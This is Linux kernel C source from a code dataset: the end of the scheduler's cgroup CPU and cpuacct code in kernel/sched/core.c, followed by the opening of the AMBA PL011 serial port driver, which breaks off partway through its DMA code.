static void cpu_cgroup_destroy(struct cgroup *cgrp)
{
struct task_group *tg = cgroup_tg(cgrp);
sched_destroy_group(tg);
}
static int
cpu_cgroup_allow_attach(struct cgroup *cgrp, struct cgroup_taskset *tset)
{
const struct cred *cred = current_cred(), *tcred;
struct task_struct *task;
cgroup_taskset_for_each(task, cgrp, tset) {
tcred = __task_cred(task);
if ((current != task) && !capable(CAP_SYS_NICE) &&
cred->euid != tcred->uid && cred->euid != tcred->suid)
return -EACCES;
}
return 0;
}
static int cpu_cgroup_can_attach(struct cgroup *cgrp,
struct cgroup_taskset *tset)
{
struct task_struct *task;
cgroup_taskset_for_each(task, cgrp, tset) {
#ifdef CONFIG_RT_GROUP_SCHED
if (!sched_rt_can_attach(cgroup_tg(cgrp), task))
return -EINVAL;
#else
/* We don't support RT-tasks being in separate groups */
if (task->sched_class != &fair_sched_class)
return -EINVAL;
#endif
}
return 0;
}
static void cpu_cgroup_attach(struct cgroup *cgrp,
struct cgroup_taskset *tset)
{
struct task_struct *task;
cgroup_taskset_for_each(task, cgrp, tset)
sched_move_task(task);
}
static void
cpu_cgroup_exit(struct cgroup *cgrp, struct cgroup *old_cgrp,
struct task_struct *task)
{
/*
* cgroup_exit() is called in the copy_process() failure path.
* Ignore this case since the task hasn't ran yet, this avoids
* trying to poke a half freed task state from generic code.
*/
if (!(task->flags & PF_EXITING))
return;
sched_move_task(task);
}
static u64 cpu_notify_on_migrate_read_u64(struct cgroup *cgrp,
struct cftype *cft)
{
struct task_group *tg = cgroup_tg(cgrp);
return tg->notify_on_migrate;
}
static int cpu_notify_on_migrate_write_u64(struct cgroup *cgrp,
struct cftype *cft, u64 notify)
{
struct task_group *tg = cgroup_tg(cgrp);
tg->notify_on_migrate = (notify > 0);
return 0;
}
#ifdef CONFIG_FAIR_GROUP_SCHED
static int cpu_shares_write_u64(struct cgroup *cgrp, struct cftype *cftype,
u64 shareval)
{
return sched_group_set_shares(cgroup_tg(cgrp), scale_load(shareval));
}
static u64 cpu_shares_read_u64(struct cgroup *cgrp, struct cftype *cft)
{
struct task_group *tg = cgroup_tg(cgrp);
return (u64) scale_load_down(tg->shares);
}
#ifdef CONFIG_CFS_BANDWIDTH
static DEFINE_MUTEX(cfs_constraints_mutex);
const u64 max_cfs_quota_period = 1 * NSEC_PER_SEC; /* 1s */
const u64 min_cfs_quota_period = 1 * NSEC_PER_MSEC; /* 1ms */
static int __cfs_schedulable(struct task_group *tg, u64 period, u64 runtime);
static int tg_set_cfs_bandwidth(struct task_group *tg, u64 period, u64 quota)
{
int i, ret = 0, runtime_enabled, runtime_was_enabled;
struct cfs_bandwidth *cfs_b = &tg->cfs_bandwidth;
if (tg == &root_task_group)
return -EINVAL;
/*
* Ensure we have at some amount of bandwidth every period. This is
* to prevent reaching a state of large arrears when throttled via
* entity_tick() resulting in prolonged exit starvation.
*/
if (quota < min_cfs_quota_period || period < min_cfs_quota_period)
return -EINVAL;
/*
* Likewise, bound things on the otherside by preventing insane quota
* periods. This also allows us to normalize in computing quota
* feasibility.
*/
if (period > max_cfs_quota_period)
return -EINVAL;
mutex_lock(&cfs_constraints_mutex);
ret = __cfs_schedulable(tg, period, quota);
if (ret)
goto out_unlock;
runtime_enabled = quota != RUNTIME_INF;
runtime_was_enabled = cfs_b->quota != RUNTIME_INF;
/*
* If we need to toggle cfs_bandwidth_used, off->on must occur
* before making related changes, and on->off must occur afterwards
*/
if (runtime_enabled && !runtime_was_enabled)
cfs_bandwidth_usage_inc();
raw_spin_lock_irq(&cfs_b->lock);
cfs_b->period = ns_to_ktime(period);
cfs_b->quota = quota;
__refill_cfs_bandwidth_runtime(cfs_b);
/* restart the period timer (if active) to handle new period expiry */
if (runtime_enabled && cfs_b->timer_active) {
/* force a reprogram */
cfs_b->timer_active = 0;
__start_cfs_bandwidth(cfs_b);
}
raw_spin_unlock_irq(&cfs_b->lock);
for_each_possible_cpu(i) {
struct cfs_rq *cfs_rq = tg->cfs_rq[i];
struct rq *rq = cfs_rq->rq;
raw_spin_lock_irq(&rq->lock);
cfs_rq->runtime_enabled = runtime_enabled;
cfs_rq->runtime_remaining = 0;
if (cfs_rq->throttled)
unthrottle_cfs_rq(cfs_rq);
raw_spin_unlock_irq(&rq->lock);
}
if (runtime_was_enabled && !runtime_enabled)
cfs_bandwidth_usage_dec();
out_unlock:
mutex_unlock(&cfs_constraints_mutex);
return ret;
}
int tg_set_cfs_quota(struct task_group *tg, long cfs_quota_us)
{
u64 quota, period;
period = ktime_to_ns(tg->cfs_bandwidth.period);
if (cfs_quota_us < 0)
quota = RUNTIME_INF;
else
quota = (u64)cfs_quota_us * NSEC_PER_USEC;
return tg_set_cfs_bandwidth(tg, period, quota);
}
long tg_get_cfs_quota(struct task_group *tg)
{
u64 quota_us;
if (tg->cfs_bandwidth.quota == RUNTIME_INF)
return -1;
quota_us = tg->cfs_bandwidth.quota;
do_div(quota_us, NSEC_PER_USEC);
return quota_us;
}
int tg_set_cfs_period(struct task_group *tg, long cfs_period_us)
{
u64 quota, period;
period = (u64)cfs_period_us * NSEC_PER_USEC;
quota = tg->cfs_bandwidth.quota;
return tg_set_cfs_bandwidth(tg, period, quota);
}
long tg_get_cfs_period(struct task_group *tg)
{
u64 cfs_period_us;
cfs_period_us = ktime_to_ns(tg->cfs_bandwidth.period);
do_div(cfs_period_us, NSEC_PER_USEC);
return cfs_period_us;
}
static s64 cpu_cfs_quota_read_s64(struct cgroup *cgrp, struct cftype *cft)
{
return tg_get_cfs_quota(cgroup_tg(cgrp));
}
static int cpu_cfs_quota_write_s64(struct cgroup *cgrp, struct cftype *cftype,
s64 cfs_quota_us)
{
return tg_set_cfs_quota(cgroup_tg(cgrp), cfs_quota_us);
}
static u64 cpu_cfs_period_read_u64(struct cgroup *cgrp, struct cftype *cft)
{
return tg_get_cfs_period(cgroup_tg(cgrp));
}
static int cpu_cfs_period_write_u64(struct cgroup *cgrp, struct cftype *cftype,
u64 cfs_period_us)
{
return tg_set_cfs_period(cgroup_tg(cgrp), cfs_period_us);
}
struct cfs_schedulable_data {
struct task_group *tg;
u64 period, quota;
};
/*
* normalize group quota/period to be quota/max_period
* note: units are usecs
*/
static u64 normalize_cfs_quota(struct task_group *tg,
struct cfs_schedulable_data *d)
{
u64 quota, period;
if (tg == d->tg) {
period = d->period;
quota = d->quota;
} else {
period = tg_get_cfs_period(tg);
quota = tg_get_cfs_quota(tg);
}
/* note: these should typically be equivalent */
if (quota == RUNTIME_INF || quota == -1)
return RUNTIME_INF;
return to_ratio(period, quota);
}
static int tg_cfs_schedulable_down(struct task_group *tg, void *data)
{
struct cfs_schedulable_data *d = data;
struct cfs_bandwidth *cfs_b = &tg->cfs_bandwidth;
s64 quota = 0, parent_quota = -1;
if (!tg->parent) {
quota = RUNTIME_INF;
} else {
struct cfs_bandwidth *parent_b = &tg->parent->cfs_bandwidth;
quota = normalize_cfs_quota(tg, d);
parent_quota = parent_b->hierarchal_quota;
/*
* ensure max(child_quota) <= parent_quota, inherit when no
* limit is set
*/
if (quota == RUNTIME_INF)
quota = parent_quota;
else if (parent_quota != RUNTIME_INF && quota > parent_quota)
return -EINVAL;
}
cfs_b->hierarchal_quota = quota;
return 0;
}
static int __cfs_schedulable(struct task_group *tg, u64 period, u64 quota)
{
int ret;
struct cfs_schedulable_data data = {
.tg = tg,
.period = period,
.quota = quota,
};
if (quota != RUNTIME_INF) {
do_div(data.period, NSEC_PER_USEC);
do_div(data.quota, NSEC_PER_USEC);
}
rcu_read_lock();
ret = walk_tg_tree(tg_cfs_schedulable_down, tg_nop, &data);
rcu_read_unlock();
return ret;
}
static int cpu_stats_show(struct cgroup *cgrp, struct cftype *cft,
struct cgroup_map_cb *cb)
{
struct task_group *tg = cgroup_tg(cgrp);
struct cfs_bandwidth *cfs_b = &tg->cfs_bandwidth;
cb->fill(cb, "nr_periods", cfs_b->nr_periods);
cb->fill(cb, "nr_throttled", cfs_b->nr_throttled);
cb->fill(cb, "throttled_time", cfs_b->throttled_time);
return 0;
}
#endif /* CONFIG_CFS_BANDWIDTH */
#endif /* CONFIG_FAIR_GROUP_SCHED */
#ifdef CONFIG_RT_GROUP_SCHED
static int cpu_rt_runtime_write(struct cgroup *cgrp, struct cftype *cft,
s64 val)
{
return sched_group_set_rt_runtime(cgroup_tg(cgrp), val);
}
static s64 cpu_rt_runtime_read(struct cgroup *cgrp, struct cftype *cft)
{
return sched_group_rt_runtime(cgroup_tg(cgrp));
}
static int cpu_rt_period_write_uint(struct cgroup *cgrp, struct cftype *cftype,
u64 rt_period_us)
{
return sched_group_set_rt_period(cgroup_tg(cgrp), rt_period_us);
}
static u64 cpu_rt_period_read_uint(struct cgroup *cgrp, struct cftype *cft)
{
return sched_group_rt_period(cgroup_tg(cgrp));
}
#endif /* CONFIG_RT_GROUP_SCHED */
static struct cftype cpu_files[] = {
{
.name = "notify_on_migrate",
.read_u64 = cpu_notify_on_migrate_read_u64,
.write_u64 = cpu_notify_on_migrate_write_u64,
},
#ifdef CONFIG_FAIR_GROUP_SCHED
{
.name = "shares",
.read_u64 = cpu_shares_read_u64,
.write_u64 = cpu_shares_write_u64,
},
#endif
#ifdef CONFIG_CFS_BANDWIDTH
{
.name = "cfs_quota_us",
.read_s64 = cpu_cfs_quota_read_s64,
.write_s64 = cpu_cfs_quota_write_s64,
},
{
.name = "cfs_period_us",
.read_u64 = cpu_cfs_period_read_u64,
.write_u64 = cpu_cfs_period_write_u64,
},
{
.name = "stat",
.read_map = cpu_stats_show,
},
#endif
#ifdef CONFIG_RT_GROUP_SCHED
{
.name = "rt_runtime_us",
.read_s64 = cpu_rt_runtime_read,
.write_s64 = cpu_rt_runtime_write,
},
{
.name = "rt_period_us",
.read_u64 = cpu_rt_period_read_uint,
.write_u64 = cpu_rt_period_write_uint,
},
#endif
};
static int cpu_cgroup_populate(struct cgroup_subsys *ss, struct cgroup *cont)
{
return cgroup_add_files(cont, ss, cpu_files, ARRAY_SIZE(cpu_files));
}
struct cgroup_subsys cpu_cgroup_subsys = {
.name = "cpu",
.create = cpu_cgroup_create,
.destroy = cpu_cgroup_destroy,
.can_attach = cpu_cgroup_can_attach,
.attach = cpu_cgroup_attach,
.allow_attach = cpu_cgroup_allow_attach,
.exit = cpu_cgroup_exit,
.populate = cpu_cgroup_populate,
.subsys_id = cpu_cgroup_subsys_id,
.early_init = 1,
};
#endif /* CONFIG_CGROUP_SCHED */
#ifdef CONFIG_CGROUP_CPUACCT
/*
* CPU accounting code for task groups.
*
* Based on the work by Paul Menage (menage@google.com) and Balbir Singh
* (balbir@in.ibm.com).
*/
/* create a new cpu accounting group */
static struct cgroup_subsys_state *cpuacct_create(struct cgroup *cgrp)
{
struct cpuacct *ca;
if (!cgrp->parent)
return &root_cpuacct.css;
ca = kzalloc(sizeof(*ca), GFP_KERNEL);
if (!ca)
goto out;
ca->cpuusage = alloc_percpu(u64);
if (!ca->cpuusage)
goto out_free_ca;
ca->cpustat = alloc_percpu(struct kernel_cpustat);
if (!ca->cpustat)
goto out_free_cpuusage;
return &ca->css;
out_free_cpuusage:
free_percpu(ca->cpuusage);
out_free_ca:
kfree(ca);
out:
return ERR_PTR(-ENOMEM);
}
/* destroy an existing cpu accounting group */
static void cpuacct_destroy(struct cgroup *cgrp)
{
struct cpuacct *ca = cgroup_ca(cgrp);
free_percpu(ca->cpustat);
free_percpu(ca->cpuusage);
kfree(ca);
}
static u64 cpuacct_cpuusage_read(struct cpuacct *ca, int cpu)
{
u64 *cpuusage = per_cpu_ptr(ca->cpuusage, cpu);
u64 data;
#ifndef CONFIG_64BIT
/*
* Take rq->lock to make 64-bit read safe on 32-bit platforms.
*/
raw_spin_lock_irq(&cpu_rq(cpu)->lock);
data = *cpuusage;
raw_spin_unlock_irq(&cpu_rq(cpu)->lock);
#else
data = *cpuusage;
#endif
return data;
}
static void cpuacct_cpuusage_write(struct cpuacct *ca, int cpu, u64 val)
{
u64 *cpuusage = per_cpu_ptr(ca->cpuusage, cpu);
#ifndef CONFIG_64BIT
/*
* Take rq->lock to make 64-bit write safe on 32-bit platforms.
*/
raw_spin_lock_irq(&cpu_rq(cpu)->lock);
*cpuusage = val;
raw_spin_unlock_irq(&cpu_rq(cpu)->lock);
#else
*cpuusage = val;
#endif
}
/* return total cpu usage (in nanoseconds) of a group */
static u64 cpuusage_read(struct cgroup *cgrp, struct cftype *cft)
{
struct cpuacct *ca = cgroup_ca(cgrp);
u64 totalcpuusage = 0;
int i;
for_each_present_cpu(i)
totalcpuusage += cpuacct_cpuusage_read(ca, i);
return totalcpuusage;
}
static int cpuusage_write(struct cgroup *cgrp, struct cftype *cftype,
u64 reset)
{
struct cpuacct *ca = cgroup_ca(cgrp);
int err = 0;
int i;
if (reset) {
err = -EINVAL;
goto out;
}
for_each_present_cpu(i)
cpuacct_cpuusage_write(ca, i, 0);
out:
return err;
}
static int cpuacct_percpu_seq_read(struct cgroup *cgroup, struct cftype *cft,
struct seq_file *m)
{
struct cpuacct *ca = cgroup_ca(cgroup);
u64 percpu;
int i;
for_each_present_cpu(i) {
percpu = cpuacct_cpuusage_read(ca, i);
seq_printf(m, "%llu ", (unsigned long long) percpu);
}
seq_printf(m, "\n");
return 0;
}
static const char *cpuacct_stat_desc[] = {
[CPUACCT_STAT_USER] = "user",
[CPUACCT_STAT_SYSTEM] = "system",
};
static int cpuacct_stats_show(struct cgroup *cgrp, struct cftype *cft,
struct cgroup_map_cb *cb)
{
struct cpuacct *ca = cgroup_ca(cgrp);
int cpu;
s64 val = 0;
for_each_online_cpu(cpu) {
struct kernel_cpustat *kcpustat = per_cpu_ptr(ca->cpustat, cpu);
val += kcpustat->cpustat[CPUTIME_USER];
val += kcpustat->cpustat[CPUTIME_NICE];
}
val = cputime64_to_clock_t(val);
cb->fill(cb, cpuacct_stat_desc[CPUACCT_STAT_USER], val);
val = 0;
for_each_online_cpu(cpu) {
struct kernel_cpustat *kcpustat = per_cpu_ptr(ca->cpustat, cpu);
val += kcpustat->cpustat[CPUTIME_SYSTEM];
val += kcpustat->cpustat[CPUTIME_IRQ];
val += kcpustat->cpustat[CPUTIME_SOFTIRQ];
}
val = cputime64_to_clock_t(val);
cb->fill(cb, cpuacct_stat_desc[CPUACCT_STAT_SYSTEM], val);
return 0;
}
static struct cftype files[] = {
{
.name = "usage",
.read_u64 = cpuusage_read,
.write_u64 = cpuusage_write,
},
{
.name = "usage_percpu",
.read_seq_string = cpuacct_percpu_seq_read,
},
{
.name = "stat",
.read_map = cpuacct_stats_show,
},
};
static int cpuacct_populate(struct cgroup_subsys *ss, struct cgroup *cgrp)
{
return cgroup_add_files(cgrp, ss, files, ARRAY_SIZE(files));
}
/*
* charge this task's execution time to its accounting group.
*
* called with rq->lock held.
*/
void cpuacct_charge(struct task_struct *tsk, u64 cputime)
{
struct cpuacct *ca;
int cpu;
if (unlikely(!cpuacct_subsys.active))
return;
cpu = task_cpu(tsk);
rcu_read_lock();
ca = task_ca(tsk);
for (; ca; ca = parent_ca(ca)) {
u64 *cpuusage = per_cpu_ptr(ca->cpuusage, cpu);
*cpuusage += cputime;
}
rcu_read_unlock();
}
struct cgroup_subsys cpuacct_subsys = {
.name = "cpuacct",
.create = cpuacct_create,
.destroy = cpuacct_destroy,
.populate = cpuacct_populate,
.subsys_id = cpuacct_subsys_id,
};
#endif /* CONFIG_CGROUP_CPUACCT */
|
Khaon/mi2_kernel
|
kernel/sched/core.c
|
C
|
gpl-2.0
| 216,693
|
/*
* Driver for AMBA serial ports
*
* Based on drivers/char/serial.c, by Linus Torvalds, Theodore Ts'o.
*
* Copyright 1999 ARM Limited
* Copyright (C) 2000 Deep Blue Solutions Ltd.
* Copyright (C) 2010 ST-Ericsson SA
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* This is a generic driver for ARM AMBA-type serial ports. They
* have a lot of 16550-like features, but are not register compatible.
* Note that although they do have CTS, DCD and DSR inputs, they do
* not have an RI input, nor do they have DTR or RTS outputs. If
* required, these have to be supplied via some other means (eg, GPIO)
* and hooked into this driver.
*/
#if defined(CONFIG_SERIAL_AMBA_PL011_CONSOLE) && defined(CONFIG_MAGIC_SYSRQ)
#define SUPPORT_SYSRQ
#endif
#include <linux/module.h>
#include <linux/ioport.h>
#include <linux/init.h>
#include <linux/console.h>
#include <linux/sysrq.h>
#include <linux/device.h>
#include <linux/tty.h>
#include <linux/tty_flip.h>
#include <linux/serial_core.h>
#include <linux/serial.h>
#include <linux/amba/bus.h>
#include <linux/amba/serial.h>
#include <linux/clk.h>
#include <linux/slab.h>
#include <linux/dmaengine.h>
#include <linux/dma-mapping.h>
#include <linux/scatterlist.h>
#include <linux/delay.h>
#include <linux/types.h>
#include <linux/of.h>
#include <linux/of_device.h>
#include <linux/pinctrl/consumer.h>
#include <linux/sizes.h>
#include <linux/io.h>
#include <linux/acpi.h>
#include "amba-pl011.h"
#define UART_NR 14
#define SERIAL_AMBA_MAJOR 204
#define SERIAL_AMBA_MINOR 64
#define SERIAL_AMBA_NR UART_NR
#define AMBA_ISR_PASS_LIMIT 256
#define UART_DR_ERROR (UART011_DR_OE|UART011_DR_BE|UART011_DR_PE|UART011_DR_FE)
#define UART_DUMMY_DR_RX (1 << 16)
static u16 pl011_std_offsets[REG_ARRAY_SIZE] = {
[REG_DR] = UART01x_DR,
[REG_FR] = UART01x_FR,
[REG_LCRH_RX] = UART011_LCRH,
[REG_LCRH_TX] = UART011_LCRH,
[REG_IBRD] = UART011_IBRD,
[REG_FBRD] = UART011_FBRD,
[REG_CR] = UART011_CR,
[REG_IFLS] = UART011_IFLS,
[REG_IMSC] = UART011_IMSC,
[REG_RIS] = UART011_RIS,
[REG_MIS] = UART011_MIS,
[REG_ICR] = UART011_ICR,
[REG_DMACR] = UART011_DMACR,
};
/* There is by now at least one vendor with differing details, so handle it */
struct vendor_data {
const u16 *reg_offset;
unsigned int ifls;
bool access_32b;
bool oversampling;
bool dma_threshold;
bool cts_event_workaround;
bool always_enabled;
bool fixed_options;
unsigned int (*get_fifosize)(struct amba_device *dev);
};
static unsigned int get_fifosize_arm(struct amba_device *dev)
{
return amba_rev(dev) < 3 ? 16 : 32;
}
static struct vendor_data vendor_arm = {
.reg_offset = pl011_std_offsets,
.ifls = UART011_IFLS_RX4_8|UART011_IFLS_TX4_8,
.oversampling = false,
.dma_threshold = false,
.cts_event_workaround = false,
.always_enabled = false,
.fixed_options = false,
.get_fifosize = get_fifosize_arm,
};
static struct vendor_data vendor_sbsa = {
.reg_offset = pl011_std_offsets,
.access_32b = true,
.oversampling = false,
.dma_threshold = false,
.cts_event_workaround = false,
.always_enabled = true,
.fixed_options = true,
};
static u16 pl011_st_offsets[REG_ARRAY_SIZE] = {
[REG_DR] = UART01x_DR,
[REG_ST_DMAWM] = ST_UART011_DMAWM,
[REG_ST_TIMEOUT] = ST_UART011_TIMEOUT,
[REG_FR] = UART01x_FR,
[REG_LCRH_RX] = ST_UART011_LCRH_RX,
[REG_LCRH_TX] = ST_UART011_LCRH_TX,
[REG_IBRD] = UART011_IBRD,
[REG_FBRD] = UART011_FBRD,
[REG_CR] = UART011_CR,
[REG_IFLS] = UART011_IFLS,
[REG_IMSC] = UART011_IMSC,
[REG_RIS] = UART011_RIS,
[REG_MIS] = UART011_MIS,
[REG_ICR] = UART011_ICR,
[REG_DMACR] = UART011_DMACR,
[REG_ST_XFCR] = ST_UART011_XFCR,
[REG_ST_XON1] = ST_UART011_XON1,
[REG_ST_XON2] = ST_UART011_XON2,
[REG_ST_XOFF1] = ST_UART011_XOFF1,
[REG_ST_XOFF2] = ST_UART011_XOFF2,
[REG_ST_ITCR] = ST_UART011_ITCR,
[REG_ST_ITIP] = ST_UART011_ITIP,
[REG_ST_ABCR] = ST_UART011_ABCR,
[REG_ST_ABIMSC] = ST_UART011_ABIMSC,
};
static unsigned int get_fifosize_st(struct amba_device *dev)
{
return 64;
}
static struct vendor_data vendor_st = {
.reg_offset = pl011_st_offsets,
.ifls = UART011_IFLS_RX_HALF|UART011_IFLS_TX_HALF,
.oversampling = true,
.dma_threshold = true,
.cts_event_workaround = true,
.always_enabled = false,
.fixed_options = false,
.get_fifosize = get_fifosize_st,
};
static const u16 pl011_zte_offsets[REG_ARRAY_SIZE] = {
[REG_DR] = ZX_UART011_DR,
[REG_FR] = ZX_UART011_FR,
[REG_LCRH_RX] = ZX_UART011_LCRH,
[REG_LCRH_TX] = ZX_UART011_LCRH,
[REG_IBRD] = ZX_UART011_IBRD,
[REG_FBRD] = ZX_UART011_FBRD,
[REG_CR] = ZX_UART011_CR,
[REG_IFLS] = ZX_UART011_IFLS,
[REG_IMSC] = ZX_UART011_IMSC,
[REG_RIS] = ZX_UART011_RIS,
[REG_MIS] = ZX_UART011_MIS,
[REG_ICR] = ZX_UART011_ICR,
[REG_DMACR] = ZX_UART011_DMACR,
};
static struct vendor_data vendor_zte __maybe_unused = {
.reg_offset = pl011_zte_offsets,
.access_32b = true,
.ifls = UART011_IFLS_RX4_8|UART011_IFLS_TX4_8,
.get_fifosize = get_fifosize_arm,
};
/* Deals with DMA transactions */
struct pl011_sgbuf {
struct scatterlist sg;
char *buf;
};
struct pl011_dmarx_data {
struct dma_chan *chan;
struct completion complete;
bool use_buf_b;
struct pl011_sgbuf sgbuf_a;
struct pl011_sgbuf sgbuf_b;
dma_cookie_t cookie;
bool running;
struct timer_list timer;
unsigned int last_residue;
unsigned long last_jiffies;
bool auto_poll_rate;
unsigned int poll_rate;
unsigned int poll_timeout;
};
struct pl011_dmatx_data {
struct dma_chan *chan;
struct scatterlist sg;
char *buf;
bool queued;
};
/*
* We wrap our port structure around the generic uart_port.
*/
struct uart_amba_port {
struct uart_port port;
const u16 *reg_offset;
struct clk *clk;
const struct vendor_data *vendor;
unsigned int dmacr; /* dma control reg */
unsigned int im; /* interrupt mask */
unsigned int old_status;
unsigned int fifosize; /* vendor-specific */
unsigned int old_cr; /* state during shutdown */
bool autorts;
unsigned int fixed_baud; /* vendor-set fixed baud rate */
char type[12];
#ifdef CONFIG_DMA_ENGINE
/* DMA stuff */
bool using_tx_dma;
bool using_rx_dma;
struct pl011_dmarx_data dmarx;
struct pl011_dmatx_data dmatx;
bool dma_probed;
#endif
};
static unsigned int pl011_reg_to_offset(const struct uart_amba_port *uap,
unsigned int reg)
{
return uap->reg_offset[reg];
}
static unsigned int pl011_read(const struct uart_amba_port *uap,
unsigned int reg)
{
void __iomem *addr = uap->port.membase + pl011_reg_to_offset(uap, reg);
return (uap->port.iotype == UPIO_MEM32) ?
readl_relaxed(addr) : readw_relaxed(addr);
}
static void pl011_write(unsigned int val, const struct uart_amba_port *uap,
unsigned int reg)
{
void __iomem *addr = uap->port.membase + pl011_reg_to_offset(uap, reg);
if (uap->port.iotype == UPIO_MEM32)
writel_relaxed(val, addr);
else
writew_relaxed(val, addr);
}
/*
* Reads up to 256 characters from the FIFO or until it's empty and
* inserts them into the TTY layer. Returns the number of characters
* read from the FIFO.
*/
static int pl011_fifo_to_tty(struct uart_amba_port *uap)
{
u16 status;
unsigned int ch, flag, max_count = 256;
int fifotaken = 0;
while (max_count--) {
status = pl011_read(uap, REG_FR);
if (status & UART01x_FR_RXFE)
break;
/* Take chars from the FIFO and update status */
ch = pl011_read(uap, REG_DR) | UART_DUMMY_DR_RX;
flag = TTY_NORMAL;
uap->port.icount.rx++;
fifotaken++;
if (unlikely(ch & UART_DR_ERROR)) {
if (ch & UART011_DR_BE) {
ch &= ~(UART011_DR_FE | UART011_DR_PE);
uap->port.icount.brk++;
if (uart_handle_break(&uap->port))
continue;
} else if (ch & UART011_DR_PE)
uap->port.icount.parity++;
else if (ch & UART011_DR_FE)
uap->port.icount.frame++;
if (ch & UART011_DR_OE)
uap->port.icount.overrun++;
ch &= uap->port.read_status_mask;
if (ch & UART011_DR_BE)
flag = TTY_BREAK;
else if (ch & UART011_DR_PE)
flag = TTY_PARITY;
else if (ch & UART011_DR_FE)
flag = TTY_FRAME;
}
if (uart_handle_sysrq_char(&uap->port, ch & 255))
continue;
uart_insert_char(&uap->port, ch, UART011_DR_OE, ch, flag);
}
return fifotaken;
}
/*
* All the DMA operation mode stuff goes inside this ifdef.
* This assumes that you have a generic DMA device interface,
* no custom DMA interfaces are supported.
*/
#ifdef CONFIG_DMA_ENGINE
#define PL011_DMA_BUFFER_SIZE PAGE_SIZE
static int pl011_sgbuf_init(struct dma_chan *chan, struct pl011_sgbuf *sg,
enum dma_data_direction dir)
{
dma_addr_t dma_addr;
sg->buf = dma_alloc_coherent(chan->device->dev,
PL011_DMA_BUFFER_SIZE, &dma_addr, GFP_KERNEL);
if (!sg->buf)
return -ENOMEM;
sg_init_table(&sg->sg, 1);
sg_set_page(&sg->sg, phys_to_page(dma_addr),
PL011_DMA_BUFFER_SIZE, offset_in_page(dma_addr));
sg_dma_address(&sg->sg) = dma_addr;
sg_dma_len(&sg->sg) = PL011_DMA_BUFFER_SIZE;
return 0;
}
static void pl011_sgbuf_free(struct dma_chan *chan, struct pl011_sgbuf *sg,
enum dma_data_direction dir)
{
if (sg->buf) {
dma_free_coherent(chan->device->dev,
PL011_DMA_BUFFER_SIZE, sg->buf,
sg_dma_address(&sg->sg));
}
}
static void pl011_dma_probe(struct uart_amba_port *uap)
{
/* DMA is the sole user of the platform data right now */
struct amba_pl011_data *plat = dev_get_platdata(uap->port.dev);
struct device *dev = uap->port.dev;
struct dma_slave_config tx_conf = {
.dst_addr = uap->port.mapbase +
pl011_reg_to_offset(uap, REG_DR),
.dst_addr_width = DMA_SLAVE_BUSWIDTH_1_BYTE,
.direction = DMA_MEM_TO_DEV,
.dst_maxburst = uap->fifosize >> 1,
.device_fc = false,
};
struct dma_chan *chan;
dma_cap_mask_t mask;
uap->dma_probed = true;
chan = dma_request_slave_channel_reason(dev, "tx");
if (IS_ERR(chan)) {
if (PTR_ERR(chan) == -EPROBE_DEFER) {
uap->dma_probed = false;
return;
}
/* We need platform data */
if (!plat || !plat->dma_filter) {
dev_info(uap->port.dev, "no DMA platform data\n");
return;
}
/* Try to acquire a generic DMA engine slave TX channel */
dma_cap_zero(mask);
dma_cap_set(DMA_SLAVE, mask);
chan = dma_request_channel(mask, plat->dma_filter,
plat->dma_tx_param);
if (!chan) {
dev_err(uap->port.dev, "no TX DMA channel!\n");
return;
}
}
dmaengine_slave_config(chan, &tx_conf);
uap->dmatx.chan = chan;
dev_info(uap->port.dev, "DMA channel TX %s\n",
dma_chan_name(uap->dmatx.chan));
/* Optionally make use of an RX channel as well */
chan = dma_request_slave_channel(dev, "rx");
if (!chan && plat && plat->dma_rx_param) {
chan = dma_request_channel(mask, plat->dma_filter, plat->dma_rx_param);
if (!chan) {
dev_err(uap->port.dev, "no RX DMA channel!\n");
return;
}
}
if (chan) {
struct dma_slave_config rx_conf = {
.src_addr = uap->port.mapbase +
pl011_reg_to_offset(uap, REG_DR),
.src_addr_width = DMA_SLAVE_BUSWIDTH_1_BYTE,
.direction = DMA_DEV_TO_MEM,
.src_maxburst = uap->fifosize >> 2,
.device_fc = false,
};
struct dma_slave_caps caps;
/*
* Some DMA controllers provide information on their capabilities.
* If the controller does, check for suitable residue processing
* otherwise assime all is well.
*/
if (0 == dma_get_slave_caps(chan, &caps)) {
if (caps.residue_granularity ==
DMA_RESIDUE_GRANULARITY_DESCRIPTOR) {
dma_release_channel(chan);
dev_info(uap->port.dev,
"RX DMA disabled - no residue processing\n");
return;
}
}
dmaengine_slave_config(chan, &rx_conf);
uap->dmarx.chan = chan;
uap->dmarx.auto_poll_rate = false;
if (plat && plat->dma_rx_poll_enable) {
/* Set poll rate if specified. */
if (plat->dma_rx_poll_rate) {
uap->dmarx.auto_poll_rate = false;
uap->dmarx.poll_rate = plat->dma_rx_poll_rate;
} else {
/*
* 100 ms defaults to poll rate if not
* specified. This will be adjusted with
* the baud rate at set_termios.
*/
uap->dmarx.auto_poll_rate = true;
uap->dmarx.poll_rate = 100;
}
/* 3 secs defaults poll_timeout if not specified. */
if (plat->dma_rx_poll_timeout)
uap->dmarx.poll_timeout =
plat->dma_rx_poll_timeout;
else
uap->dmarx.poll_timeout = 3000;
} else if (!plat && dev->of_node) {
uap->dmarx.auto_poll_rate = of_property_read_bool(
dev->of_node, "auto-poll");
if (uap->dmarx.auto_poll_rate) {
u32 x;
if (0 == of_property_read_u32(dev->of_node,
"poll-rate-ms", &x))
uap->dmarx.poll_rate = x;
else
uap->dmarx.poll_rate = 100;
if (0 == of_property_read_u32(dev->of_node,
"poll-timeout-ms", &x))
uap->dmarx.poll_timeout = x;
else
uap->dmarx.poll_timeout = 3000;
}
}
dev_info(uap->port.dev, "DMA channel RX %s\n",
dma_chan_name(uap->dmarx.chan));
}
}
static void pl011_dma_remove(struct uart_amba_port *uap)
{
if (uap->dmatx.chan)
dma_release_channel(uap->dmatx.chan);
if (uap->dmarx.chan)
dma_release_channel(uap->dmarx.chan);
}
/* Forward declare these for the refill routine */
static int pl011_dma_tx_refill(struct uart_amba_port *uap);
static void pl011_start_tx_pio(struct uart_amba_port *uap);
/*
* The current DMA TX buffer has been sent.
* Try to queue up another DMA buffer.
*/
static void pl011_dma_tx_callback(void *data)
{
struct uart_amba_port *uap = data;
struct pl011_dmatx_data *dmatx = &uap->dmatx;
unsigned long flags;
